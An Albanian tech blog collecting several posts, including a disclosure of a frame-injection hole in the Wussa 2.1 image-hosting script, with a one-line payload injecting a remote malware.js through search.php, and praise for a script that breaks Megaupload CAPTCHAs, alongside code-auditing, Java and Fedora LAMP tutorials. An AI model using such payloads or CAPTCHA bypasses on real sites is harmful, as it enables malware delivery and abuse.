Faktoret ndikues ne performancen e nje programi

Te gjith programatoret kane nje qellim te perbashket.
Te bejn nje program funksional, sa me te shpejt me performanca te larta, pa bug-e dhe te sigurt.
Pra eshte afer perfektes apo jo šŸ˜€
Por si gjithmon Ƨ’do gje eshte relative… [PerveƧ Zotit I CILI eshte absolut dhe Ā Unik]
Atehere Ƨ’fare ben qe programi yne te kete performanc te larte?

Algoritmet dhe rreshtat e kodit
Ky eshte faktori i pare qe ndikon ne performancen e programit tone, pra nje algoritem funksional dhe i thjesht, i shoqeruar me kontorrnon e pak rrjeshtave kodi shpesh here sjell nje program te shpejt dhe funksional. (keep it sample stupid)
Pra pak rreshta kodi = pak memorje, funksionalitet maksimal, rezultati eshte shume i mire gjithashtu duhet te kujdesemi edhe per RAM-in
Algoritmet e komplikuara shume here sjellin me shume ngaterresa se sa performanc, kjo eshte per tu mbajtur mend dhe per tu zbatuar sepse ndryshe edhe nese bejm nje program funksional ai me siguri do e kete shume te veshtire te kaloj fazen stresuese.

Gjuha e zgjedhur dhe kompilatori
Ky eshte nje faktor tjeter shume i rendesishem per performancen e programit pasi ka ndryshim nese programojm ne lisp dhe programojm ne… psh ZPL dhe ndikon shume po keshtu edhe kompilatori qe perdorim pasi duhet qe kodi qe do i dergohet proƧesorit te jete sa me i “gelltitshem”

Sistemi Operativ \Kerneli \Organizimi i I\O
Ka shume ndryshim nje program i egzekutuar ne windows, dhe nje ne linux, po ashtu ne baze te kernelit dhe organizimit te Input output , menaxhimit qe ben kerneli proƧeseve pasi shpesh here ndodh (windows) qe kerneli mos te jete ne gjendje te menaxhoj proƧeset ne menyren e duhur dhe kemi krash te programeve dhe nuk eshte gjithmon fai i programeve.

Performancat Hardware
Normalisht sa me i shpejt te jete proƧesori, BUS-i, RAM, aq me shpejt do te egzekutohet informacioni qe kalohet nga shtresat e ndryshme qe prej userit deri tek ALU

Portabiliteti
Portabiliteti sjell panvaresi te programit dhe ka ardhur me ideologjine “stand alone” pra duke mos pasur nevoje per shume kerkesa, gje qe kjo mund te behet nje faktor i rendesishem per stabilietin e nje programi me madhesi te madhe, ose te ndonje platforme.

Wussa 2.1 vulnerabilitet Cross frame scripting.

Zakonisht nuk merrem me keto gjera, e sidomos me studimin e nje platforme qe as me ka rene rasti ta perdor..
Isha thjesht duke pare galerine e imazheve te nje mikut tim te cilin tani e pershendes, dhe u bera kurioz per te testuar search.php te platformes “image hosting” qe kishte instaluar..
Eshte per te qeshur metoda e ketyre programatoreve (e kam fjalen per ata qe krijojn keto CMS-t) ne kontrollimin e inputeve dhe mbrojtjen nga sulme te lloit CSS, apo XSS siƧ i quajn tani..
Me vjen per te qeshur sepse kontrollojn vetem : <script>alert(‘CSS’);</script> dhe kujtojn se jane mbrojtur kunder sulmeve te tilla.. Nderkohe qe ka shume menyra manipulimi http://ha.ckers.org/xss.html

Mire spo e zagjasim shume, kalojm tek exploiti yne 0-day.
Te infektuar : Wussa 2.1 dhe versionet me te vogla
Prodhuesi : http://wussa.com/
Exploit : tek search.php shkruajm : <iframe src=www.webikeq.com/malware.js></iframe> dhe do te shikojm qe ne faqen qe do te krijohet do te shohim nje frame me te perfshire ndonje kod keqdashes..

Normalisht i dergova nje e-mail programatorit te saj, qe si zakonisht nuk dergojn pergjigje sepse jane shume krenar per te pranuar qe shesin prodhime difektoze..(dhe vura re qe tek webi i tij tek /demo thjesht ka bere nje manipulim por vulnerabilitetin nuk e ka rregulluar)
Gjithsesi nga lexuesit e albanianwizard.org kerkohet vetem qe te mos behet publik ky vulnerabilitet perpara se te nxjerrin version te ri ku ta kene rregulluar vulnerabilitetin ne fjale..
Nuk do te doja qe script kiddie-t te fillonin me avazet e tyre..
arditi.

Intro ne code auditing, dhe programe qe mund te perdoren.

Ne kete teme do te flasim shkurtimisht per nje nga fazat e rendesishme qe kalon “gatimi” i nje programi ne industrine software e cila eshte source code auditing, ne fjale te tjera ‘vulnerability hunting’ Ā  [gjuetia e vulnerabiliteteve]Ā  ĀÆ-ĀÆ
SiƧ e dime (boring) Ƨ’do program serioz perveƧ fazave te tjera kalon edhe nje faze per testimin e sigurise se tij dhe kjo eshte nder fazat me te rendesishme sepse programi do te blihet nga nje “dikush” tjeter qe nese per shkak te programit tend peson humbje materialesh apo demtime te Ƨ’faredo lloi pergjegjesia i ngelet skuadres se programimit.

Kjo faze perkon me analizimin ne detaj te source kodit dhe veprime te tjera qe do i shohim ne vazhdim.
Vulnerabilitetet mund te jene nga me te ndryshmet, dhe sa me shume eksperienc ka ai qe studion kodin per vulnerabilitete, aq me shume mundesi ka qe ne ate kod te kete vulnerabilitete nga me te ndryshmet..
Ne pergjithesi ndahen ne:

1.Buffer overflow (vunerabilitet te cilin do e shpjegojm ne te ardhmen)
Buffer overflow ndahet ne:
a) Stack overflow (kur tek nje hapesire jo dinamike memorje kerkohet te kalohen me shume te dhena nga Ƨ’eshte caktuar per tu bere)
b) Heap overflow Ā (kur tek nje hapesire dinamike memorje kalojn shuuume te dhena, e cila shkaktohet nga llogaritje jo te sakta te programatorit)

Kemi “one by one” dhe nje exploit te ketij vulnerabiliteti mund ta gjejm dhe ketu:
http://albanianwizard.org/Postokodin/31
Te tjera kemi format string, integer overflows, race conditions, etj etj gjithsesi siƧ e thame kjo eshte nje intro pasi per secilen nga keto vulnerabilitete ka shume per tu shkruar dhe kjo eshte vetem nje intro.

Kalojm tani tek metodologjite.
Ketu me shume po flasim per stilin e secilit sepse gjithsekush ka preferencat e veta se si e nis analizimin e nje programi sepse varet nga madhesia e source kodit per tu analizuar, koha qe kemi ne dispozicion, dhe ne disa raste edhe rendimenti qe kerkohet šŸ˜‰
Normalisht ju mund te thoni per metodat “Bottom Up” “top down” apo hibride, psh top down, eshte nje metod shume stresuese pasi duhet te analizosh komplet kodin nderkohe qe kjo mund te marri dhe shume kohe, gje te cilen nuk e keshilloj perveƧ rasteve kur kerkohet nje auditing perfekt nga nje klient perfekt i cili nuk lejon gabime.
Pra kjo eshte menyra me tipike.
Metoda te tjera me te perdorshme jane psh, te shikosh vetem pjeset e source kodit qe jane nen influencen e perdoruesit dhe kane mundesi explotimi.
Sa me shume te largohemi analizimit te kodit, aq me shume rritet mundesia qe te na shpetojn vulnerabilitete hera heres dhe shume te njohura, metoda te tjera qe perdorin “analizuesit e kodit” po i quaj, jane psh duke grumbulluar komplet variabilat dhe duke i analizuar ose duke perdorur nje sere fjalesh kyƧe te cilat nese programuesi nuk i ka implementuar ashtu siƧ duhet atehere jane vulnerabilitete.
Zakonisht gjate ketij proƧesi mbahen shenime per emrin e funksionit, lokacionin e failit dhe numrin e rreshtit ku gjendet kodi me difekt, argumentet qe kalohen tek funksioni, etj..

Tools.
Persa i perket mjeteve qe mund te perdorim per kete lloj pune,, bah nuk di tjeter perveƧ se editoreve te tekstit, apo editoreve te gjuheve te ndryshme te programimit.
Nje keshille do te ishte te perdorni sisteme operative te krijuara per ate pune, dhe ka shume sisteme linux si OWASP, Auditor , konppix-nst, etj qe jane krijuar pikerisht per kete pune dhe mbledhin ne vetvete nje sere programesh qe sherbejn per kete qellim.

CAPTCHA javascript decoder

Ja ku eshte zbuluar dhe nje menyre eĀ  re per te kaluar sigurine shkronjore te disa webeve sic jane Megaupload. Kjo gje behet me ane te nje skripti ne javascript i cili ben njohjen optike te elemente grafik shkronjor duke hedhur poshte sigurine e ngritur nga keto Web-e. Sistemi punon ne baze teĀ  Html 5 Canvas i cili percakton figuren me ane te funksionit getImageData dhe me pas cdo gje futet ne nje rrjet neural elektronik i programuar ne javascript i cili duke kapur pixelat ben te mundur kthimin e tyre ne nje kod binar qe me pas dekodohet ja te shohim dhe kodin e programuar per MEGAUPLOAD:

http://userscripts.org/scripts/review/38736

Pra sic shihni programi mbush vete fushat duke u bere mjaft njerzor.
Do te thoja qe ky script eshte vertete nje kryeveper kush merret me programim duhet patjeter ta shikoj 
mua me ka pelqyer jashtemase, ketu kemi te bejme me inteligjence artificiale.

Lind televizioni i pare IT shqiptar..

Kam kenaqesine per te lajmeruar te gjith dashamiresit dhe te apasionuarit e Information technology, sistemistet, pentesterat :D, programuesit etj per lindjen e nje televizioni te ri totalisht i dedikuar IT-s.
Te gjitha videot jane te zgjedhura me kujdes, dhe temat po ashtu jane te zgjedhura.
Kerkojm ndjese per momentin sepse temat jane ne anglisht panvarsisht se jane marre nga specialistet me te njohur te kohes..
Persa i perket videove ne shqip, nese do ta kemi mundesine do i bejm, e nese jo nuk do i bejm xD.
Per ta vizituar klikoni ne linkun siper ose ketu:
http://albanianwizard.org/aw-it-tv/
Tani per tani temat jane me shume te drejtuara drejt security, por nuk do mungojn kanalet e tjera dhe sistemimi i tematikave te ndryshme.

Ta gezojm :)

Deklarimi i nje metode me parameter ne OOP | Java

Ne kete teme do te trajtojm ne menyre sa me te thjeshte deklarimin e nje metode dhe shtimin e nje parametri te saj kur kemi te bejm me OOP aka Object oriented programming.
Ne kete shembull te thjesht po supozojm kete lloj situate..
Ne kemi krijuar nje platforme te madhe nga e cila perdoruesit duke shkruajtur emrin e sherbimit do te marrin akses ne sherbime te ndryshme..
Kjo ndodh per motive sigurie, psh krijimi i nje postoblloku te madh i cili eshte ure lidhese per te gjitha sherbimet e tjera si servera, hoste virtuale, sisteme operative, etj te gjitha keto ne web interface (supozohet te jete i egzekutueshem ne apache tomcat).
Pra ne fjale te tjera nje ure lidhese sigurie, qe kerkon login\username id etj per te kaluar me vone tek sistemi tjeter..
Normalisht kodi eshte i thjeshtuar ne maksimum dhe ben thjesht ne baze te nje parametri paraqitjen e nje “println” te thjesht me nje mesazh welcome..
Tani mund te japim nje veshtrim te shkurter se Ƨ’fare quajm “metode” dhe “parameter” ne java.
Me metod nuk besoj se ka shume per te shkruajtur pasi dihet qe akoma me ne shqip eshte nje menyre, pra menyre se si ne bejm diƧka te caktuar dhe ne java kemi metoda te percaktuara nga vet gjuha si psh public ne vetvete eshte nje metod thirrjeje qe thote se kodi ne vazhdim eshte i perdorshem nga te gjith, apo kemi metod headeri e keshtu me rradhe..
VeƧ ketyre kemi edhe metoda te cilat i krijojm ne.
Psh, ne krijojm nje metod se si duhet te veproj nje program ndaj nje reaksioni te caktuar te sistemit operativ, dhe normalisht programi ben ate per te cilen eshte programuar metod e cila po ashtu eshte e krijuar nga ne per nje funksion te caktuar, me gjere do e shohim me shembullin kur te paraqesim dhe kodin.
Po parametri?
Parametri eshte i lidhur ngusht me metoden.
Marrim nje shembull..
Dikush programon, dhe themi se “ai programon” dhe kjo eshte nje metod, por kur themi ai programon me eclipse ose me thjesht bash atehere ketu kemi te bejm me nje parameter, ose psh nje makine mund te eci me shpejtesi, ashtu siƧ mund te eci me ngadale.
Kujdes, mos ngaterroni parametrin me atributin.
Vazhdojm tani me programin tone te vogel.
Po fillojm me failin Parametri.java dhe ketu eshte edhe thelbi, panvarsisht se eshte shume i thjeshtuar
http://albanianwizard.org/Postokodin/24
SiƧ e shohim paraqitMesazhin ( String emriISistemit ) perben temen qe ne po trajtojm.
paraqitMesazhin eshte metoda, kurse per parameter po perdorim String ne kete rast dhe parametri eshte emriSistemit qe e kerkojm ne output tek pjesa vazhuese.
Vazhdojm tani me failin Objekti.java ne te cilin krijojm objektin dhe bejm pjesen me te punes.
http://albanianwizard.org/Postokodin/23

Ne kete pjese duket qarte qe mbasi krijojm objektin parametriIm perdorim String emriISistemit per te perdorur parametrin e deshiruar.
Failet duhet te jene ne te njejten direktori, per ti kompiluar japim Ā javac Parametri.java Objekti.java dhe per ti egzekutuar japim java Objekti
Nese ka pyetje…

SFCK 2009 Software Freedom Conference of Kosovo

Konferenca e lirise, ne nje vend te lirise :)
Ne prishtine do te organizohet, dhe do te kisha shume deshire te isha aty, por e di qe jam pak larg dhe skam mundesi.
Per te gjithe shqiptaret, kush ka mundesi duhet te marri pjese, ka mundesi te jete edhe Stallman šŸ˜€

Mund ta lexoni komplet materialin nga miqte tane te Truri.com.
http://www.truri.com/Lajme/155.html

Si te instaloj dhe konfiguroj Apache, mysql, php, & more ne Linux Fedora 10.

Jo me larg se 2 ore me pare, mu desh qe te instaloja dhe konfiguroja sherbimet e mesiperme per ta shnderruar kompiuterin tim ne nje server te mirefillt duke i shtuar atij keto sherbime qe normalisht mund te duhen per testime te ndryshme, apo per zhvillime te aplikacioneve web.
Ky shkrim i drejtohet te gjitheve (mases) keshtu qe mos me qortoni nese jam munduar ta thjeshtoj ne maksimum ecurine si per konfigurimin ashtu edhe per instalimin e ketyre sherbimeve.
SiƧ e dime, per ta bere diƧka te tille tek windows eshte shume e thjesht, mjafton te instalojm tools si MoWeS , Xampp apo tools te ngjashem dhe Ƨ’do gje merr fund..
Por normalisht nuk mund te bejm shume gjera pasi windows nuk suporton chmod konfigurim Ā personalizim te sherbimeve te tjera, suport per shume gjuhe qe duhet te besh namin per ta pasur etj etj.
Natyrisht do te perpiqem qe ta bej sa me te thjesht si material , duke ju shmangur sa me shume qe te jete e mundur terminalit..

Fillojm me instalimet
Po instalojm serverin httpd, serverin mysql, suportin e gjuhes php, phpmyadmin, dhe disa Ā sherbime te nevoitshme qe na lehtesojn punen :)
# do te thote qe duhet te jemi root pra root@localhost ose root@domaini#

#yum install httpd httpd-tools system-config-httpd lighttpd php phpMyAdmin mysql mysql-server php-mysql mysql-administrator

Dhe me kete automatikisht instaloni serverin apache, httpd, gjuhen php (tek e cila keshilloj qe te perdorni menaxherin grafik te paketave te instalimit ne menyre qe te zgjidhni vete modulet) mysql, me serverin dhe tool per konfigurimin e tij si mysql-administrator dhe phpMyAdmin, per apache perdoret system-config-httpd si tool..
Mbasi instalimi te kete shkuar me sukses , qe besoj se sdo kete probleme duhet te fillojm te startojm sherbimet e ndryshme..

APACHE HTTPD

 #httpd -k start

Dhe me kete startuam serverin tone apache..
Shkojm tek http://localhost/ ose http://127.0.0.1/

Dhe do te shohim normalisht Fedora Test Page, qe tregon se serveri yn eshte ne egzekutim e siper.
Atehere si thoni ta konfigurojm pak?
Shkojm tek /etc/httpd/conf.d/welcome.conf dhe heqim komplet pjesen qe nuk eshte e komentuar, ne kete menyre nuk na del faqa /var/www/error/noindex.html por do te na daliĀ /var/www/html/ ne fjale te tjera asgje sepse nuk kemi vendosur asnje file ne te.
Vendosim nje file te thjesht index.html me te shkruajtur diƧka brenda tij per te pare qe punon ne rregull.
Ok, tani perpiqemi te personalizojm pak.

#system-config-httpd

Dhe do te dali nje dritare GUI qe do na japi aftesi per te konfiguruar serverin tone te sapoinstaluar.
Ok tani tek Server name fusim psh albanianwizard, pra per ti dhene nje emer tjeter nga localhost apo 127.0.0.1.. Dhe percaktojm edhe emailin tone, etj shtojm ip apo adresa ku serveri te qendroj ne listening dhe me kete tool kemi mundesi edhe per te krijuar virtual hosts, apo hoste virtuale per te cilet nuk do te flasim ne kete teme sepse pastaj do me duhet te kaloj dhe tek konfigurime https :)
Ok, kalojm tek..

MYSQL

Si fillim pa humbur kohe i japim nje startim te mire serverit tone Mysql me:

# chkconfig --level 2345 mysqld on; service mysqld start

Mbas kesaj duhet te percaktojm nje user te ri per serverin dhe kete e bejm me ane te terminalit..

#mysqladmin -u root password passwordiim

Ok, tani hapim pak MySql Administrator dhe bejm login me root dhe passwordin e ri qe krijuam.
Ketu tani kemi pak pune :)
E para eshte te shtojm nje user te ri dhe ti japim te gjitha privilegjet.
Mbasi e kemi bere kete eliminoni root dhe userin “blank” qe eshte bosh.
Dhe ne kete rast root eshte useri i ri qe krijuat ju (pasi i ka te gjitha privilegjet)..
Tani shkojm tek Startup Parameters dhe klikojm tek Disable Networking per te bllokuar keshtu akseset nga jashte (nese jemi duke bere diƧka qe nuk duam ta shohin te tjeret).
Ketu gjejm edhe shumicen e opcioneve pasi kemi te bejm me failin e konfigurimit te serverit Mysql /etc/my.cnf .
Nese duam qe ky sherbim te startoj qe ne fillim atehere japim:

chkconfig --level 2345 mysqld on && service mysqld restart && chkconfig --list | grep mysqld

Per te tjerat konfigurimi behet ne baze te preferencave.

phpMyAdmin

Ketu e kemi shume me te thjesht, mbas instalimit shkojm direkt tek /usr/share/phpMyAdmin dhe editojm failin config.inc.php
Tek i cili do te ndryshojm:

$cfg['Servers'][$i]['controluser']   = 'EmriYne';          // Emri me te cilin bejm login ne serverin sql
$cfg['Servers'][$i]['controlpass']   = 'Passwordi';//passwordi yne

Per te ber login shkojm tek http://localhost/phpMyAdmin
Ah, gati harrova..
Per te bere login tek mysql japim..

# mysql -u emriim -p

Mbas kesaj prompt do na kerkoj passwordin..
Dhe mbas kesaj mund te japim Ƨ’fare do lloj komande sql per te krijuar, databaza, apo te modifikojm serverin etj, gjera qe mund ti bejm edhe me mysql-administrator…
Mbas kesaj, ne mund te shkojm te vendosim Ƨ’fare do lloj web aplikacioni qe suportohet tek /var/www/html/ dhe te ndjekim instalimin normal, mbasi kemi serverin, kemi databazen dhe gjuhet e suportuara pastaj..
Per suport te gjuheve te tjera instalohen dhe modulet e tjera, gjithsesi ky eshte konfigurimi :)

Laptopi klasik